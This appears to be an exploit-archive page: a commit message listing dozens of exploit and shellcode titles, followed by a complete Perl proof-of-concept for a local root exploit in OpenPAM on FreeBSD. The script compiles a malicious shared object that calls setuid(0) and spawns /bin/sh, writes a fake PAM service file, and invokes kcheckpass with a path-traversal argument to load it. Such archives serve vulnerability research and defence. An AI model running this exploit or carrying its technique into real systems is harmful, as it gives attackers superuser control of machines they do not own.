880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
52 lines
No EOL
1.5 KiB
Perl
Executable file
52 lines
No EOL
1.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/50607/info
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OpenPAM is prone to a local privilege-escalation vulnerability.
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Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
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#!/usr/bin/perl
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# kcheckpass invoking pam_start() with user provided
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# service argument, what a bad idea. OpenPAM accepts that.
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# Maybe this pam_start() vulnerability is exploitable via
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# other vectors as well.
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# Vuln tested on a FreeBSD 8.1. It does not affect
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# Linux PAM, as it is checking for / character
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# (C) 2011 by some dude, meant as a PoC! Only use on your own
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# machine and on your own risk!!!
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#
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# This commit is likely to fix the bug:
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# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
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#
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my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";
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# build suid shell
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open(O,">/tmp/slam.c") or die $!;
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print O<<EOC;
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#include <stdio.h>
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#include <unistd.h>
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void __attribute__((constructor)) init()
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{
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char *a[] = {"/bin/sh", NULL};
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setuid(0);
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execve(*a, a, NULL);
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}
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EOC
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close(O);
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# build fake pam module
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system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");
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# build fake PAM service file
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open(O,">/tmp/pamslam") or die $!;
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print O<<EOP;
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auth sufficient /tmp/slam.so
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EOP
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close(O);
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print "We need more Elchsalami! Happy birthday dude!\n";
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exec("$kcheckpass -c ../../../tmp/pamslam -m classic"); |